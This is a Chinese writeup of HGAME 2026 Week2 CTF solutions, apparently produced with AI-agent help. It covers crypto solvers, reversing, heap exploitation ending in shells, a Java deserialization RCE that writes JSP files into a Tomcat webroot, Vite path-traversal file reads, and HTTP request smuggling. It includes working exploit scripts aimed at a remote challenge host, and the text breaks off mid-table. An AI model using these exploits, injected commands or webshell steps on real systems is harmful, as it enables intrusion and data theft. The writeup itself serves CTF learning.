HGAME 2026 Week2 全题解 Writeup — ju4t_for_fun
HGAME 2026 Week2 完整 Writeup。ju4t_for_fun 第三名,17643 pts,40/40 全解。涵盖 Crypto、Reverse、PWN、Web、Misc 五大分类共 15 道题。由 MultiAgent 驱动。

本文是 HGAME 2026 Week2 的完整 Writeup。我们团队 ju4t_for_fun 在本周赛中取得了第三名的成绩,总分 17643 pts,Week2 全部 40 道题目全解。以下按 Crypto、Reverse、PWN、Web、Misc 五个分类,逐题展示解题思路和关键代码。
Crypto
ezdlp
分类:Crypto | Flag:hgame{1s_m@trix_d1p_rEal1y_sImpLe??}
题目分析
题目给出一个矩阵离散对数问题 (Matrix DLP):
- 在
Zmod(n)上定义 2x2 矩阵a - 计算
b = a^k,其中k是 1000-bit 素数 k经 MD5 哈希后作为 AES-ECB 密钥加密 flag- 提供
data.sobj(含 n, a, b)和 base64 密文
密文:ieJNk5335o9lCy6Ar2XymrDy+HVHcQhikluNSra0kBafw1WDCyyuNPkLACeBsavy
解题思路
Step 1: 分解 n
题目注释 "Want to factor n? I've already done it!" 暗示 n 已在 factordb 上。查询 factordb API 得到 n = p * q。
Step 2: 检查 p-1, q-1 光滑性
p-1 和 q-1 都非常光滑(所有因子小于等于 32 bit),Pohlig-Hellman 可高效求解标量 DLP。
Step 3: GF(p) 上的矩阵 DLP 转化为标量 DLP
矩阵 a mod p 的特征多项式在 GF(p) 上有两个不同的根(特征值)。通过特征向量匹配,找到 b mod p 对应的特征值,然后求解标量离散对数。由于 p-1 光滑,discrete_log 秒出结果。
Step 4: GF(q) 上的矩阵 DLP 转化为行列式 DLP
矩阵 a mod q 的特征多项式在 GF(q) 上不可约(无根),不能直接用特征值。
关键技巧:利用行列式性质 det(a^k) = det(a)^k = det(b),将矩阵 DLP 降维为标量 DLP:det(a)^k = det(b) (mod q)。q-1 同样光滑,秒出。
Step 5: CRT 合并
由 CRT 得到 k mod lcm(p-1, q-1)。由于 lcm(p-1, q-1) 约 1073 bit 大于 k 的 1000 bit,k 被唯一确定。
Step 6: AES 解密
完整解题脚本
solve.sage(SageMath 求解 k)
data = load('data.sobj')
n_val, a, b = data
p = 282964522500710252996522860321128988886949295243765606602614844463493284542147924563568163094392590450939540920228998768405900675902689378522299357223754617695943
q = 511405127645157121220046316928395473344738559750412727565053675377154964183416414295066240070803421575018695355362581643466329860038567115911393279779768674224503
# GF(p): 特征值 DLP
F_p = GF(p)
a_p = Matrix(F_p, a)
b_p = Matrix(F_p, b)
roots = a_p.characteristic_polynomial().roots(F_p)
lam1 = roots[0][0]
v1 = (a_p - lam1 * identity_matrix(F_p, 2)).right_kernel().basis()[0]
bv1 = b_p * v1
mu1 = bv1[0] / v1[0] if v1[0] != 0 else bv1[1] / v1[1]
k_p = discrete_log(mu1, lam1, ord=p-1)
# GF(q): 行列式 DLP(特征多项式不可约)
F_q = GF(q)
a_q = Matrix(F_q, a)
b_q = Matrix(F_q, b)
det_a = a_q.determinant()
det_b = b_q.determinant()
k_q = discrete_log(det_b, det_a, ord=q-1)
# CRT
k = crt(int(k_p), int(k_q), int(p-1), int(q-1))
with open('k_value.txt', 'w') as f:
f.write(str(k))decrypt.py(Python 解密 flag)
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from base64 import b64decode
import hashlib
ciphertext = b64decode("ieJNk5335o9lCy6Ar2XymrDy+HVHcQhikluNSra0kBafw1WDCyyuNPkLACeBsavy")
with open('k_value.txt', 'r') as f:
k = int(f.read().strip())
key = hashlib.md5(long_to_bytes(k)).digest()
cipher = AES.new(key, AES.MODE_ECB)
flag = unpad(cipher.decrypt(ciphertext), AES.block_size)
print(flag.decode())Decision
分类:Crypto | Flag:hgame{w1sh_you_4_h@ppy_new_y3ar}
题目分析
题目源码实现了一个 Decisional LWE 加密系统:
- Flag 内容(去掉
hgame{})通过小端序转为整数,再转为 200 位二进制串 - 创建一个 LWE 实例,参数:
n=25, q ~ 2^128, sigma=2^16 - 对每一个 bit:
- bit=1 生成 15 个真实 LWE 样本
(a, b),其中b = <a, s> + e mod q - bit=0 生成 15 个完全随机的 26 维向量
- bit=1 生成 15 个真实 LWE 样本
- 所有 bit=1 的加密共享同一个秘密向量 s
关键观察
- 噪声 sigma = 2^16 相对模数 q ~ 2^128 极小(比值约 2^{-112})
- 所有 bit=1 位置共享同一秘密 s,恢复 s 后可判定所有 bit
正确方法:格基规约 + BDD
BDD (Bounded Distance Decoding):给定格 L 和目标向量 b,找到 L 中距离 b 最近的格点。
核心思想:对于 LWE 样本,b = As + e (mod q),其中 As mod q 是格点,e 是很小的偏移。对于随机样本,b 与格无特殊关系,距最近格点很远。通过 BDD 的距离可以区分两者。
攻击步骤
- 随机选 3 个 bit 位置,合并 45 个样本
- LLL 规约格基
- Babai 最近平面算法求解 BDD
- 若误差小于等于 2^20,说明 3 个位置都是 bit=1,恢复秘密 s
- 否则至少一个位置是 bit=0,换一组重试
- 得到 s 后,逐位检验所有 200 个样本,分类 bit=1 / bit=0
- 还原二进制串转整数转小端序字节得到 flag 文本
解题脚本
# solve_lll.sage - 使用 sage 运行
import ast
with open("output.txt", "r") as f:
encbit = ast.literal_eval(f.read())
q = 256708627612544299823733222331047933697
n = 25
m_per = 15
def try_bdd(positions):
"""对给定位置的样本执行 BDD,返回最大误差和误差向量"""
m = len(positions) * m_per
rows_a = []
vals_b = []
for pos in positions:
for sample in encbit[pos]:
rows_a.append([int(x) for x in sample[:n]])
vals_b.append(int(sample[n]))
A_int = matrix(ZZ, rows_a)
b_int = vector(ZZ, vals_b)
# 构造格 L = {Ax + qk} 的生成矩阵
G = block_matrix(ZZ, [[A_int, q * identity_matrix(ZZ, m)]])
# LLL 规约
L_reduced = G.T.LLL()
basis = matrix(ZZ, [row for row in L_reduced if row != 0])
# Babai 最近平面算法
B_gs, _ = basis.gram_schmidt()
t = vector(QQ, b_int)
for i in range(basis.nrows()-1, -1, -1):
gs_i = B_gs[i]
ci = t.dot_product(gs_i) / gs_i.dot_product(gs_i)
t -= round(ci) * vector(QQ, basis[i])
error = vector(ZZ, [round(x) for x in t])
max_err = max(abs(e) for e in error)
return max_err, error, A_int, b_int
# 随机尝试三元组
import random
random.seed(int(42))
cands = list(range(100, 200))
random.shuffle(cands)
found = False
for attempt in range(30):
i0 = 3 * attempt
triple = sorted([cands[i0 % len(cands)],
cands[(i0+1) % len(cands)],
cands[(i0+2) % len(cands)]])
if len(set(triple)) < 3:
continue
print(f"[*] Attempt {attempt}: positions {triple}")
max_err, error, A_int, b_int = try_bdd(triple)
eb = max_err.bit_length() if max_err > 0 else 0
print(f" max_error = {max_err} ({eb} bits)")
if eb <= 20:
print(f"[+] LWE triple found!")
F = GF(q)
b_clean = vector(F, [int(b_int[i]) - int(error[i]) for i in range(len(error))])
A_F = matrix(F, A_int)
secret = matrix(F, A_F[:n]).solve_right(vector(F, b_clean[:n]))
found = True
break
if not found:
print("[-] Failed")
exit(1)
# 用恢复的 s 分类所有 200 个 bit
F = GF(q)
flag_bits = ""
for i in range(200):
is_lwe = True
for sample in encbit[i]:
a = vector(F, [int(x) for x in sample[:n]])
b = F(int(sample[n]))
residual = int(b - a.dot_product(secret))
if residual > int(q) // 2:
residual = int(q) - residual
if residual > 2**20:
is_lwe = False
break
flag_bits += "1" if is_lwe else "0"
# 还原 flag
flag_int = int(flag_bits, 2)
flag_bytes = flag_int.to_bytes(25, 'little')
flag_content = flag_bytes.rstrip(b'\x00')
print(f"[+] Flag: hgame{{{flag_content.decode()}}}")运行结果
[*] Attempt 0: positions [141, 142, 191] -> max_error 57 bits (fail)
[*] Attempt 1: positions [109, 150, 165] -> max_error 57 bits (fail)
[*] Attempt 2: positions [101, 115, 170] -> max_error 58 bits (fail)
[*] Attempt 3: positions [110, 173, 178] -> max_error 57 bits (fail)
[*] Attempt 4: positions [155, 156, 172] -> max_error 18 bits (success!)
[+] LWE triple found!
[+] Flag: hgame{w1sh_you_4_h@ppy_new_y3ar}ezRSA
分类:Crypto | Flag:hgame{EzRs@_ls_StIIL-PrEtTy-Ez,RIGHt?3239ea}
题目分析
服务端实现了一个交互式 RSA 系统,提供三个功能:
- 加密 (Option 1):输入明文
plain和位翻转位置x,返回pow(plain, e ^ (1 << x), n)-- 注意指数是e XOR (1<<x) - 解密 (Option 2):输入密文
cipher,返回pow(cipher, d, n)-- 标准 RSA 解密 - 获取 flag (Option 3):返回
pow(flag, e, n),同时将safe标志设为False
关键机制:safe=False 后,加密和解密的输出会经过 disguise 函数处理。
漏洞:disguise 函数最后一字节泄露
逐步追踪 disguise 函数,发现最后一个字节完全还原(正向和逆向 XOR 自我抵消),其余字节被随机掩码破坏。
| 阶段 | res[0] | res[1] | res[2] |
|---|---|---|---|
| 初始 | b0 | b1 | b2 |
| 正向 XOR M0 | b0 XOR M0 | b1 XOR M0 | b2 XOR M0 |
| 逆向 i=2: XOR M0 | b0 XOR M0 | b1 XOR M0 | b2 |
| 逆向 i=1: XOR M1 | b0 XOR M0 | b1 XOR M0 XOR M1 | b2 |
| 逆向 i=0: XOR M2 | b0 XOR M0 XOR M2 | b1 XOR M0 XOR M1 | b2 |
攻击方案
Phase 1: 恢复 n(GCD 方法)
在 safe=True 时,解密 oracle 返回完整明文。利用 a = decrypt(2),b = decrypt(4),由 a^2 = b (mod n) 得到 n | (a^2 - b),GCD 多组恢复 n。
Phase 2: 恢复 e(逐位确定)
e 仅有 50 位。利用加密 oracle 的 bit-flip 特性,先计算 M = 2^e mod n,再逐位测试确定每一位。
Phase 3: 获取加密 flag
调用 Option 3 得到 secret = flag^e mod n,此后 safe=False。
Phase 4: 逐字节恢复 flag(LSB Oracle 攻击)
利用 RSA 乘法同态性和最后字节泄露,逐字节恢复明文。构造密文使解密结果为 flag * 256^(-i) mod n,泄露的最后字节可推导出 flag 的第 i 个字节。
复杂度
| 阶段 | 查询数 | 说明 |
|---|---|---|
| Phase 1 | 4 次解密 | GCD 恢复 n |
| Phase 2 | 51 次加密 | 1 次基准 + 50 位逐位测试 |
| Phase 3 | 1 次 | 获取 flag 密文 |
| Phase 4 | 127 次解密 | 逐字节恢复 |
| 总计 | 183 次 |
完整 Exploit
from pwn import *
from Crypto.Util.number import *
from Crypto.Util.Padding import unpad
import base64
from math import gcd
io = remote('1.116.118.188', 31767)
def recv_menu():
io.recvuntil(b'> ')
def encrypt_msg(plain, bit):
recv_menu()
io.sendline(b'1')
io.recvuntil(b'plaintext:\n')
io.sendline(str(plain).encode())
io.recvuntil(b'flip:\n')
io.sendline(str(bit).encode())
return bytes_to_long(base64.b64decode(io.recvline().strip()))
def decrypt_raw(cipher):
recv_menu()
io.sendline(b'2')
io.recvuntil(b'ciphertext:\n')
io.sendline(str(cipher).encode())
return base64.b64decode(io.recvline().strip())
def decrypt_int(cipher):
return bytes_to_long(decrypt_raw(cipher))
def get_flag_enc():
recv_menu()
io.sendline(b'3')
return bytes_to_long(base64.b64decode(io.recvline().strip()))
# === Phase 1: Recover n via GCD ===
log.info("Phase 1: Recovering n")
a = decrypt_int(2)
b = decrypt_int(4)
c = decrypt_int(8)
d4 = decrypt_int(16)
v1 = a*a - b
v2 = a**3 - c
v3 = a**4 - d4
n = gcd(gcd(v1, v2), v3)
for p in range(2, 10000):
while n % p == 0:
n //= p
assert a*a % n == b, "n check failed"
assert a**3 % n == c, "n check failed"
log.success(f"n recovered: {n.bit_length()} bits")
# === Phase 2: Recover e bit-by-bit ===
log.info("Phase 2: Recovering e (50 bits)")
E50 = encrypt_msg(2, 50)
P50 = pow(2, 1 << 50, n)
M = E50 * pow(P50, -1, n) % n
e_val = 0
for i in range(50):
Ei = encrypt_msg(2, i)
expected_0 = M * pow(2, 1 << i, n) % n
if Ei == expected_0:
pass
else:
e_val |= (1 << i)
assert pow(2, e_val, n) == M, "e verification failed"
log.success(f"e recovered: {e_val} ({e_val.bit_length()} bits)")
# === Phase 3: Get encrypted flag ===
log.info("Phase 3: Getting encrypted flag (safe -> False)")
secret = get_flag_enc()
log.success(f"Got encrypted flag: {secret.bit_length()} bits")
# === Phase 4: Byte-by-byte recovery via last-byte leak ===
log.info("Phase 4: Recovering flag byte by byte (127 bytes)")
inv256 = pow(256, -1, n)
C = pow(inv256, e_val, n)
Ti_e = 1
running = 0
flag_bytes = []
for i in range(127):
c_mod = secret * Ti_e % n
result = decrypt_raw(c_mod)
leak = result[-1]
byte_i = (leak - running % 256) % 256
flag_bytes.append(byte_i)
running = (running + byte_i) * inv256 % n
Ti_e = Ti_e * C % n
if i % 20 == 0:
log.info(f" Progress: {i+1}/127 bytes recovered")
flag_int = sum(b << (8*i) for i, b in enumerate(flag_bytes))
flag_padded = long_to_bytes(flag_int)
try:
flag = unpad(flag_padded, 127)
log.success(f"Flag: {flag.decode()}")
except Exception as ex:
log.warning(f"Unpad failed: {ex}")
log.info(f"Raw bytes: {flag_padded}")
io.close()eezzdlp
分类:Crypto | Flag:hgame{M@trix-d1p_iz_rea1ly_1z!1!111!}
题目分析
与 ezdlp 类似的矩阵 DLP 问题,但 n = p^2(p 的平方),k 是 660-bit 素数。AES 密钥是 md5(long_to_bytes(k))。
核心思路
1) 直接恢复 p
由于 n = p^2,直接 p = isqrt(n) 即可。
2) 通过 p-adic lift 获取 k (mod p)
在 M_2(Z/(p^2)Z) 中工作。由于 A^(p-1) == I (mod p),可以写 A^(p-1) = I + pX。利用二项式近似:B^(p-1) = (I + pX)^k = I + kpX (mod p^2)。
令 X = (A^(p-1) - I) / p,Y = (B^(p-1) - I) / p,得到 Y == k * X (mod p),取非零元素解出 k mod p。
3) Lift to full k
k = c + m*p,其中 c = k mod p。因为 k 是 660-bit 而 p 是 612-bit,m 仅约 48 bits。利用 GF(p) 上的特征值关系,将问题化为区间 DLP:lambda^m = mu * lambda^(-c),用 Pollard kangaroo (discrete_log_lambda) 求解。
完整 Solver
# solve_and_decrypt.sage.py
from sage.all import load, Matrix, GF, identity_matrix, Integer
from sage.groups.generic import discrete_log_lambda
from math import isqrt
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from base64 import b64decode
import hashlib
n, a, b = load("data.sobj")
n = int(n)
p = isqrt(n)
assert p * p == n
F = GF(p)
a_p = Matrix(F, a)
b_p = Matrix(F, b)
# Step 1: k mod p from p-adic lift
I = identity_matrix(a.base_ring(), 2)
X = (a ** (p - 1) - I) / p
Y = (b ** (p - 1) - I) / p
Xf = Matrix(F, [[int(X[i, j]) for j in range(2)] for i in range(2)])
Yf = Matrix(F, [[int(Y[i, j]) for j in range(2)] for i in range(2)])
c = None
for i in range(2):
for j in range(2):
if Xf[i, j] != 0:
c_elem = Yf[i, j] / Xf[i, j]
assert Yf == c_elem * Xf
c = Integer(c_elem)
break
if c is not None:
break
assert c is not None
# Step 2: eigenvalue mapping in GF(p)
lam = a_p.charpoly().roots(F)[0][0]
v = (a_p - lam * identity_matrix(F, 2)).right_kernel().basis()[0]
bv = b_p * v
mu = bv[0] / v[0] if v[0] != 0 else bv[1] / v[1]
# Step 3: k = c + m*p, solve m in interval
L = (Integer(2) ** 659 - c + p - 1) // p
U = (Integer(2) ** 660 - 1 - c) // p
rhs = mu * (lam ** (-c))
m = Integer(discrete_log_lambda(rhs, lam, (L, U), operation="*"))
k = c + m * p
assert k.nbits() == 660
assert k.is_prime()
assert a ** k == b
# Step 4: decrypt
ct = b64decode("Q3UBa1pz1fi35L94peaFbPvpQe4UyXOUif3CKS/CmZdXOiV7bA5NNNjJ1KeUiAFE")
key = hashlib.md5(long_to_bytes(int(k))).digest()
pt = unpad(AES.new(key, AES.MODE_ECB).decrypt(ct), AES.block_size)
print("k =", k)
print(pt.decode())Reverse
Android Custom VM
分类:Reverse | Flag:hgame{Wow_Y0u_Got_Th3_Yend0r}
题目概述
APK: app-release.apk,Hint: "至少......也要见到第一个Boss吧......"
逆向过程
1) 初始逆向
反编译 APK,MainActivity 在首次运行时复制两个 assets 到应用私有目录:waw(ELF64 aarch64 静态链接)和 game(数据文件)。按下 S 键执行 ./waw game。
2) Asset 解密格式
逆向 waw 加载器,发现 chunk 字节使用 XOR 0x9c 混淆。解密后发现自定义 VM 签名 \x87Waw 和自定义操作码映射。
from pathlib import Path
src = Path("jadx_out/resources/assets/game").read_bytes()
Path("game.dec").write_bytes(bytes(b ^ 0x9c for b in src))3) 常量恢复与解密逻辑
通过解析 undump 布局恢复关键常量:
key_seed = 18,target_floor = 100,boss_interval = 5,view_radius = 6decrypt_flag函数使用seed = 18 + 100 + 5 + 6 = 129- 解密规则:
mask = (seed + i - 1) % 255,输出enc[i] XOR mask
enc = [233,229,226,233,224,253,208,231,254,213,210,188,248,209,200,255,229,205,199,252,166,201,206,253,247,254,171,238,224]
seed = 129
flag = ''.join(chr((b ^ ((seed + i - 1) % 255)) & 0xff) for i, b in enumerate(enc, 1))
print(flag)
# hgame{Wow_Y0u_Got_Th3_Yend0r}Marionette
分类:Reverse | Flag:hgame{deadbeef0ddba11dfeedfacecafebabe}
题目提示
I walk, but do not choose the path. I stop, but do not choose the rest. I hold a secret, twelve times folded, Mixed with the echoes of my own past. Trace my steps, if you can.
主流程分析
main 主要做了三件事:读取 16 字节十六进制输入;fork 后子进程走 int3/ptrace 驱动的混淆代码,父进程用 ptrace 充当木偶师;子进程最终把 16 字节结果与常量 s2_ 比较。
关键还原
输入预处理(echoes of my own past)
子进程执行 AES 前先做前缀异或链:p[0] = x[0],p[i] = x[i] ^ x[i-1] (i=1..15)。
主加密核(twelve times folded)
跟踪 int3 驱动的片段和 AES 指令(aesenc/aesenclast/aeskeygenassist),还原为 AES-192 加密(12 轮)。
Key: 5a097c137b8d4f2132be3b19af449c01
目标密文: 8cadb48febfd6fae8660ad44c3c75a31
逆向求输入
- AES-192 解密得到
p = de731351e2d67abce313173404344404 - 逆链变换:
x[0] = p[0],x[i] = p[i] ^ x[i-1],得到x = deadbeef0ddba11dfeedfacecafebabe
验证
echo deadbeef0ddba11dfeedfacecafebabe | ./marionette
# 输出: OKOuroboros(衔尾蛇)
分类:Reverse | Flag:flag{Vm_1n_Vm_1s_Th3_R34l_M4tr1x}
题目概述
一个"自运行 + 自指 + 混淆"的 Java 程序,表面逻辑伪装成普通业务代码,实际校验逻辑隐藏在二阶段载荷里动态加载执行。
整体思路
- 解包
ouroboros.zip,得到主 JAR - 反编译主程序,定位
TradeService的riskEngine被BeanPostProcessor(LogicSwapper)动态替换 - 跟进
ShadowLoader:读取/application-data.db,用 LCG 异或流解密,加载嵌套 JAR - 反编译
IntegrityVerifier,走env=prod分支拿正确派生密钥 - 解密得到隐藏 JAR,提取
RealRiskEngine与OuroborosVM - 还原 VM 字节码,恢复目标字符串
关键点
ShadowLoader 解密流程
LCG 异或流:s = (s * 1103515245 + 12345) & 0xffffffff,x = (s >> 16) & 0xff,d[i] ^= x。
密钥:integrityKey = 859881160 (0x3340bec8),VM 固件密钥:keyByte = 0xc8
诱饵 flag:flag{N0p3_Th1s_1s_A_D3c0y_G0_B4ck} -- 这是明显诱饵。
VM 还原
VM 指令集:0x10 压入常量、0x20 压入输入长度、0x30 取输入字符、0x35 异或、0x4A 除零分支跳转、0xFF 结束判断。恢复逐位比较目标串即为真实 flag。
验证
/Library/Java/JavaVirtualMachines/jdk-17.jdk/Contents/Home/bin/java -Denv=prod -jar ouroboros-app-0.0.1-SNAPSHOT.jar
# 输入: flag{Vm_1n_Vm_1s_Th3_R34l_M4tr1x}
# 输出: SUCCESS! VM Execution Verified.
# ACCESS GRANTED: Core Logic Validated.VidarChall
分类:Reverse(Android Native) | Flag:hgame{Wow_e4sy_@nd_s1ni5ter_chall_XD}
题目概述
APK vidarchall.apk,包名 com.vidar.chall。MainActivity 将输入传给 native encrypt,再与固定 Base64 比较。
目标密文:jdh2rzUxbpRxlfFro3YGuhHhmpWq4eHqTvK3N1njLjMnkSUS3I6VDg==
Native 关键函数
核心加密 (0x001abe64):典型 XXTEA 结构,轮数 q = 52/n + 6,delta 来自全局种子。
makekey (0x001a5960):isolated 分支从 /proc/self/cmdline 计算自定义 CRC hash,生成 4 个 u32 作为 key:
k0 = hk1 = h ^ seedk2 = h + seedk3 = h - seed
种子恢复
全局种子初值 0xdeadbeef,经过 6 次变换 T(x, c) = (x ^ c) * (~c) 后:seed = 0x1a9b8f52
cmdline 与 hash
自定义 CRC(poly=0xD5714649),匹配到 cmdline: com.vidar.chall_zygote,h = 0x7838ec8f
Key words:
k0 = 0x7838ec8f
k1 = 0x62a363dd (h ^ seed)
k2 = 0x92d47be1 (h + seed)
k3 = 0x5d9d5d3d (h - seed)解密结果
把目标 Base64 解码得 40 字节,按 10 个 u32 走 XXTEA 逆过程(delta=seed,key=[k0..k3]),得到明文:hgame{Wow_e4sy_@nd_s1ni5ter_chall_XD}
PWN
Diarykeeper
分类:PWN(glibc 2.35) | Flag:hgame{d0-dEc3Nt-Pe0P1E-Even_Ke3p_d1arl35?b6e}
漏洞分析
程序核心功能是"增删查 diary"。关键问题在 add:
ptr = malloc(size + 16);
read(0, ptr + 16, size);
ptr[16 + read_len] = 0;当 read_len == size 时,把 \0 写到分配块边界之后,形成 1 字节堆溢出(null byte overflow)原语。
利用思路
- unsorted bin 泄露 libc:大块 free 后进入 unsorted,通过 show 泄露 fd 指针回推 libc 基址
- 构造 chunk overlap,泄露 safe-linking key:用 null byte overflow + fake chunk 元数据做 backward consolidate,得到
key = chunk_addr >> 12 - tcache poisoning 做任意地址分配:将 freelist next 改为
target ^ key - 劫持 exit handlers 执行 system:在
libc + 0x21bf00伪造exit_function_list,构造 mangled function pointer,触发system("cat /flag* ...")
关键偏移
| 符号 | 偏移 |
|---|---|
| main_arena unsorted fd | 0x21ac60 |
| system | 0x50d70 |
| exit list head | 0x21bf00 |
| __exit_funcs 覆写落点 | 0x21a830 |
运行结果
Goodbye!
hgame{d0-dEc3Nt-Pe0P1E-Even_Ke3p_d1arl35?b6e}gosick
分类:PWN(Rust,PIE,NX,Full RELRO,无 Canary) | Flag:hgame{gATHER-THe_cHaOS457d8f2b20c}
核心漏洞
1) GC 可达性逻辑缺陷导致 UAF
Chaos 结构的 Trace 实现带条件:当 age < 6 时处理 content,当 age >= 6 时不再追踪。show(index) 中未命中的对象 age 会加一。将目标对象 age 抬到 >=6 后触发 force_collect(),content 被 GC 回收但上层仍保留指针,形成 UAF。
2) UAF 写
edit(index) 可写到被重用的堆块。
3) 权限绕过 + 命令注入
gift() 检查 uid != 0 则拒绝,但命令处理仅对首个单词做白名单检查,实际执行 sh -c <整行输入>,可用 whoami ; cat /flag 注入。
利用链
create(1, b"A"*0x30):准备 UAF 目标对象create(2, b"B"*0x10):作为"刷 age"触发器- 连续
show(2)6 次:让 idx=1 的 age 增到 >=6,GC 回收其 content login("aa"):分配 Token,复用被回收的堆块edit(1, 0x30, payload):UAF 覆写Token.uid = 0gift输入whoami ; cat /flag,拿到 flag
远程实测结果
hgame{gATHER-THe_cHaOS457d8f2b20c}IONOSTREAM
分类:PWN | Flag:hgame{TCACHE-is_Funa549624852dc}
附件:vuln(ELF 64-bit PIE)、libc.so.6(glibc 2.41-6ubuntu1.2)
保护机制:Full RELRO | Canary | NX | PIE
逆向分析
标准堆菜单程序,5 个功能:
| 功能 | 操作 | 约束 |
|---|---|---|
add | malloc(sz) + read | size 仅允许 72 或 88 |
delete | free(chunks[idx]) | 不清空指针,导致 UAF |
show | write(stdout, ...) | 可读已释放的 chunk |
edit | read(stdin, ...) | 全局 lock,仅可用一次 |
exit | exit(0) | 触发 _IO_flush_all_lockp |
利用策略(无需 PIE 爆破)
Phase 1-2: Heap Leak + Tcache Poison
Phase 3: Controller at tcache_perthread_struct
Phase 4: Forge Fake Chunk (size 0xB0)
Phase 5: Unsorted Bin Leak -> libc base
Phase 6: FSOP (House of Apple 2)
Phase 7-8: Overwrite _IO_list_all + exit() triggerPhase 1: Heap Leak
利用 safe-linking 机制反推 heap 基址:
add(0, 72, "A") # chunk0
add(1, 72, "B") # chunk1
add(8, 88, "Q") # chunk8
delete(8) # tcache bin4
delete(0) # tcache bin3
raw = show(0) # UAF 读取 safe-linked fd
key = u64(raw)
heap = key << 12 # key = heap >> 12Phase 2-3: Tcache Poison 与 Controller
利用一次性 edit 修改 fd,使 tcache 链表指向 tcache_perthread_struct.entries[2],建立可重复使用的任意地址写原语。
Phase 4-5: Fake Chunk 与 Unsorted Bin Leak
伪造 0xB0 大小的 chunk(大于 MXFAST=0x80),free 后绕过 tcache 和 fastbin 进入 unsorted bin,UAF 读取 fd 获得 libc 基址。
Phase 6: FSOP -- House of Apple 2
利用 _IO_wfile_jumps vtable 的调用链实现代码执行:
exit()
-> _IO_flush_all_lockp()
-> 遍历 _IO_list_all 链表
-> _IO_OVERFLOW(fp, EOF)
-> _IO_wfile_overflow(fp, EOF)
-> _IO_wdoallocbuf(fp)
-> fp->_wide_data->_wide_vtable->__doallocate(fp)
-> system(fp) // fp 开头是 " sh\0"Self-Overlap Trick:_wide_data 指向 FILE 自身,使 _IO_wide_data 字段与 FILE 字段重叠。
Fake FILE 内存布局:
F+0x00: _flags = 0x00687320 (" sh\0")
F+0x18: _IO_read_base= 0 (= wide write_base)
F+0x20: _IO_write_base= 1 (= wide write_ptr > 0)
F+0x30: _IO_write_end= 0 (= wide buf_base = 0)
F+0x88: _lock = heap+0x800 (zero-filled writable memory)
F+0xA0: _wide_data = F (self-referencing!)
F+0xC0: _mode = 1 (> 0, triggers wide mode)
F+0xD8: vtable = _IO_wfile_jumps (libc+0x20f1c8)
F+0xE0: _wide_vtable = V = F+0xE8
V+0x68: __doallocate = system (libc+0x5c110)关键偏移量
| 符号 | 偏移 |
|---|---|
system | libc + 0x5c110 |
_IO_wfile_jumps | libc + 0x20f1c8 |
_IO_list_all | libc + 0x2114c0 |
| unsorted bin fd | libc + 0x210bc0 |
tcache_perthread_struct.entries[2] | heap + 0xA0 |
运行结果
$ python3 exploit_fsop.py 1.116.118.188 31615
[*] Phase 1: Heap leak
[*] heap=0x55c802c58000
[*] Phase 5: Unsorted bin leak
[*] libc=0x7f993a725000
[+] system=0x7f993a781110
[*] Phase 7: Overwriting _IO_list_all
[*] Phase 8: exit -> FSOP -> system(' sh')
[+] === GOT SHELL ===
[+] hgame{TCACHE-is_Funa549624852dc}技术总结
| 技术 | 用途 |
|---|---|
| UAF + safe-linking bypass | 堆地址泄露 |
| Tcache poisoning 转 controller | 任意地址写原语 |
| Fake chunk + unsorted bin leak | libc 基址泄露(无需 PIE 爆破) |
| House of Apple 2 (FSOP) | 仅依赖 libc 基址实现代码执行 |
| 16 字节对齐重叠写入 | 绕过 glibc 2.41 tcache alignment check |
Web
ezCC
分类:Web | Flag:hgame{e2Cc_I5_R3alLY_6@SlC-iSn'T-lt?53f51a}
初步探测
首页是一个登录表单,POST /login 参数 userId,登录后返回 Set-Cookie: userInfo=...。抓到的 userInfo 是 Base64 的 Java 序列化数据(前缀 rO0AB...)。
反序列化点确认
访问 /welcome 会读取并反序列化 userInfo。报错栈出现 BlacklistObjectInputStream,存在黑名单过滤。
黑名单行为
用 ysoserial 测试常见链:CommonsCollections1/5/6/7 报错 Forbidden class; org.apache.commons.collections.functors.InvokerTransformer。即 InvokerTransformer 被拉黑。
绕过思路
改用 CC6 变种:不使用 InvokerTransformer,使用 InstantiateTransformer + TrAXFilter + TemplatesImpl,绕过黑名单仍触发命令执行。
利用步骤
1. 验证 RCE(写 JSP)
bash -c echo\ '<%out.print("OK");%>'\ >/usr/local/tomcat/webapps/ROOT/test.jsp访问 /test.jsp 返回 OK,RCE 成功。
2. 读 flag
bash -c cat /flag>/usr/local/tomcat/webapps/ROOT/f.jsp || cat /flag.txt>/usr/local/tomcat/webapps/ROOT/f.jsp访问 /f.jsp 获取 flag。
关键点总结
- 入口:
Cookie(userInfo)反序列化 - 防护:黑名单拦
InvokerTransformer - 绕过:CC6 变种(
InstantiateTransformer路线) - 落地:Tomcat webroot 写 JSP 回显/取文件
Aya News(文文新闻)
分类:Web | Flag:hgame{tHiS_ls-a_D4iIy-NEWS12431c4541}
漏洞链概览
Vite 任意文件读取 -> 源码审计 -> HTTP Request Smuggling (TE.0) -> 捕获 Bot 请求头中的 Flag第一步:Vite 任意文件读取 (CVE-2025-30208)
Vite 6.2.0 存在 @fs 路径遍历漏洞:
http://target:32387/@fs/proc/self/environ?import&raw??通过 ?import&raw?? 后缀绕过安全检查,读取任意文件。
关键文件读取
读取 proxy.js 发现 Node.js 代理使用 keepAlive: true(连接复用)。读取 Rust 后端 http_parser.rs 发现只使用 Content-Length,完全忽略 Transfer-Encoding。
Node.js 代理核心代码:
import http from 'http';
import httpProxy from 'http-proxy';
const RUST_TARGET = 'http://127.0.0.1:3000';
const VITE_TARGET = 'http://127.0.0.1:5173';
const proxy = httpProxy.createProxyServer({
agent: new http.Agent({
keepAlive: true, // 关键:连接复用
maxSockets: 100,
keepAliveMsecs: 10000
}),
xfwd: true,
});
const server = http.createServer((req, res) => {
if (req.url.startsWith('/api/')) {
proxy.web(req, res, { target: RUST_TARGET });
} else {
proxy.web(req, res, { target: VITE_TARGET });
}
});
server.listen(80);Rust HTTP 解析器(关键缺陷):
let body_length: usize = headers
.get("content-length")
.and_then(|v| v.parse().ok())
.unwrap_or(0);
// 完全没有处理 Transfer-Encoding!第二步:架构分析与 Bot 发现
外部请求 -> Node.js Proxy (:80)
|-- /api/* -> Rust Backend (:3000) [keepAlive TCP 连接池]
|-- 其他 -> Vite Frontend (:5173)
Bot "Aya" -> Node.js Proxy (:80, localhost) -> Rust Backend (:3000)Bot 每 10-15 秒发布新闻,请求头中包含自定义 Flag: 头。
第三步:HTTP Request Smuggling (TE.0)
| 组件 | Transfer-Encoding | Content-Length |
